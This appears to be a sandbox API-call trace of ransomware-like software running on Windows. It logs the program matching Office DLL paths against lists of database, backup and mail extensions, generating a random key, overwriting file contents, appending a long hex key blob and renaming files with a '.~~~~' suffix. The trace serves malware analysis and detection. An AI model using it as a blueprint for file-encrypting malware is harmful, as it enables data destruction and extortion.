	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".EDB") returned 0x0
	[0079.269] lstrlenW (lpString=".DACPAC") returned 7
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.269] lstrlenW (lpString=".VHD") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".VHD") returned 0x0
	[0079.269] lstrlenW (lpString=".DBV") returned 4
	[0079.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DBV") returned 0x0
	[0079.270] lstrlenW (lpString=".dacpac") returned 7
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dacpac") returned 0x0
	[0079.270] lstrlenW (lpString=".sdf") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".sdf") returned 0x0
	[0079.270] lstrlenW (lpString=".accdb") returned 6
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".accdb") returned 0x0
	[0079.270] lstrlenW (lpString=".DBX") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DBX") returned 0x0
	[0079.270] lstrlenW (lpString=".MDT") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".MDT") returned 0x0
	[0079.270] lstrlenW (lpString=".SQB") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".SQB") returned 0x0
	[0079.270] lstrlenW (lpString=".vhd") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".vhd") returned 0x0
	[0079.270] lstrlenW (lpString=".bac") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".bac") returned 0x0
	[0079.270] lstrlenW (lpString=".mdf") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".mdf") returned 0x0
	[0079.270] lstrlenW (lpString=".BAK") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".BAK") returned 0x0
	[0079.270] lstrlenW (lpString=".BAC") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".BAC") returned 0x0
	[0079.270] lstrlenW (lpString=".dbs") returned 4
	[0079.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dbs") returned 0x0
	[0079.271] lstrlenW (lpString=".vhdx") returned 5
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".vhdx") returned 0x0
	[0079.271] lstrlenW (lpString=".NDF") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".NDF") returned 0x0
	[0079.271] lstrlenW (lpString=".dat") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dat") returned 0x0
	[0079.271] lstrlenW (lpString=".DBS") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DBS") returned 0x0
	[0079.271] lstrlenW (lpString=".CKP") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".CKP") returned 0x0
	[0079.271] lstrlenW (lpString=".edb") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".edb") returned 0x0
	[0079.271] lstrlenW (lpString=".PST") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".PST") returned 0x0
	[0079.271] lstrlenW (lpString=".dbf") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dbf") returned 0x0
	[0079.271] lstrlenW (lpString=".SQL") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".SQL") returned 0x0
	[0079.271] lstrlenW (lpString=".pst") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".pst") returned 0x0
	[0079.271] lstrlenW (lpString=".dbv") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dbv") returned 0x0
	[0079.271] lstrlenW (lpString=".SDF") returned 4
	[0079.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".SDF") returned 0x0
	[0079.271] lstrlenW (lpString=".dtxs") returned 5
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dtxs") returned 0x0
	[0079.272] lstrlenW (lpString=".db3") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".db3") returned 0x0
	[0079.272] lstrlenW (lpString=".OST") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".OST") returned 0x0
	[0079.272] lstrlenW (lpString=".dbx") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dbx") returned 0x0
	[0079.272] lstrlenW (lpString=".DB3") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DB3") returned 0x0
	[0079.272] lstrlenW (lpString=".DAT") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DAT") returned 0x0
	[0079.272] lstrlenW (lpString=".VHDX") returned 5
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".VHDX") returned 0x0
	[0079.272] lstrlenW (lpString=".ndf") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".ndf") returned 0x0
	[0079.272] lstrlenW (lpString=".DB") returned 3
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DB") returned 0x0
	[0079.272] lstrlenW (lpString=".sql") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".sql") returned 0x0
	[0079.272] lstrlenW (lpString=".MYD") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".MYD") returned 0x0
	[0079.272] lstrlenW (lpString=".DBT") returned 4
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DBT") returned 0x0
	[0079.272] lstrlenW (lpString=".ACCDB") returned 6
	[0079.272] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.272] lstrlenW (lpString=".fdb") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".fdb") returned 0x0
	[0079.273] lstrlenW (lpString=".bak") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".bak") returned 0x0
	[0079.273] lstrlenW (lpString=".myd") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".myd") returned 0x0
	[0079.273] lstrlenW (lpString=".DTXS") returned 5
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".DTXS") returned 0x0
	[0079.273] lstrlenW (lpString=".ckp") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".ckp") returned 0x0
	[0079.273] lstrlenW (lpString=".dbt") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".dbt") returned 0x0
	[0079.273] lstrlenW (lpString=".db") returned 3
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".db") returned 0x0
	[0079.273] lstrlenW (lpString=".TXT") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".TXT") returned 0x0
	[0079.273] lstrlenW (lpString=".MDF") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".MDF") returned 0x0
	[0079.273] lstrlenW (lpString=".bdb") returned 4
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".bdb") returned 0x0
	[0079.273] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.273] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.274] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.275] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.275] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19926483214) returned 1
	[0079.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x991d8a10, dwHighDateTime=0x1d60e1e)) 
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b5d0
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b5d0 | out: hHeap=0x300000) returned 1
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7108
	[0079.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0079.275] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.276] GetLastError () returned 0x0
	[0079.276] GetLastError () returned 0x0
	[0079.276] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.276] GetLastError () returned 0x0
	[0079.276] GetLastError () returned 0x0
	[0079.276] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.287] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.287] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x3db8, lpOverlapped=0x0) returned 1
	[0079.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.289] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.289] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.289] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.289] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.289] CloseHandle (hObject=0x120) returned 1
	[0079.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.289] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.~~~~")) returned 1
	[0079.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0079.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.290] GetLastError () returned 0x0
	[0079.290] RtlWakeConditionVariable () returned 0x365f70
	[0079.290] GetCurrentThreadId () returned 0x3a4
	[0079.290] GetCurrentThreadId () returned 0x3a4
	[0079.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0079.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b608 | out: hHeap=0x300000) returned 1
	[0079.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6f40
	[0079.291] lstrlenW (lpString=".scr") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".scr") returned 0x0
	[0079.291] lstrlenW (lpString=".cmd") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".cmd") returned 0x0
	[0079.291] lstrlenW (lpString=".dll") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dll") returned 0x0
	[0079.291] lstrlenW (lpString=".bat") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".bat") returned 0x0
	[0079.291] lstrlenW (lpString=".cpl") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".cpl") returned 0x0
	[0079.291] lstrlenW (lpString=".sys") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".sys") returned 0x0
	[0079.291] lstrlenW (lpString=".msc") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".msc") returned 0x0
	[0079.291] lstrlenW (lpString=".com") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".com") returned 0x0
	[0079.291] lstrlenW (lpString=".lnk") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".lnk") returned 0x0
	[0079.291] lstrlenW (lpString=".msp") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".msp") returned 0x0
	[0079.291] lstrlenW (lpString=".pif") returned 4
	[0079.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".pif") returned 0x0
	[0079.292] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.293] lstrlenW (lpString=".sqb") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".sqb") returned 0x0
	[0079.294] lstrlenW (lpString=".ost") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".ost") returned 0x0
	[0079.294] lstrlenW (lpString=".txt") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".txt") returned 0x0
	[0079.294] lstrlenW (lpString=".mdt") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".mdt") returned 0x0
	[0079.294] lstrlenW (lpString=".BDB") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".BDB") returned 0x0
	[0079.294] lstrlenW (lpString=".eql") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".eql") returned 0x0
	[0079.294] lstrlenW (lpString=".DBF") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DBF") returned 0x0
	[0079.294] lstrlenW (lpString=".EQL") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".EQL") returned 0x0
	[0079.294] lstrlenW (lpString=".FDB") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".FDB") returned 0x0
	[0079.294] lstrlenW (lpString=".EDB") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".EDB") returned 0x0
	[0079.294] lstrlenW (lpString=".DACPAC") returned 7
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.294] lstrlenW (lpString=".VHD") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".VHD") returned 0x0
	[0079.294] lstrlenW (lpString=".DBV") returned 4
	[0079.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DBV") returned 0x0
	[0079.295] lstrlenW (lpString=".dacpac") returned 7
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dacpac") returned 0x0
	[0079.295] lstrlenW (lpString=".sdf") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".sdf") returned 0x0
	[0079.295] lstrlenW (lpString=".accdb") returned 6
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".accdb") returned 0x0
	[0079.295] lstrlenW (lpString=".DBX") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DBX") returned 0x0
	[0079.295] lstrlenW (lpString=".MDT") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".MDT") returned 0x0
	[0079.295] lstrlenW (lpString=".SQB") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".SQB") returned 0x0
	[0079.295] lstrlenW (lpString=".vhd") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".vhd") returned 0x0
	[0079.295] lstrlenW (lpString=".bac") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".bac") returned 0x0
	[0079.295] lstrlenW (lpString=".mdf") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".mdf") returned 0x0
	[0079.295] lstrlenW (lpString=".BAK") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".BAK") returned 0x0
	[0079.295] lstrlenW (lpString=".BAC") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".BAC") returned 0x0
	[0079.295] lstrlenW (lpString=".dbs") returned 4
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dbs") returned 0x0
	[0079.295] lstrlenW (lpString=".vhdx") returned 5
	[0079.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".vhdx") returned 0x0
	[0079.296] lstrlenW (lpString=".NDF") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".NDF") returned 0x0
	[0079.296] lstrlenW (lpString=".dat") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".dat") returned 0x0
	[0079.296] lstrlenW (lpString=".DBS") returned 4
	[0079.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL", lpSrch=".DBS") returned 0x0
	[0079.296] lstrlenW (lpString=".CKP") returned 4
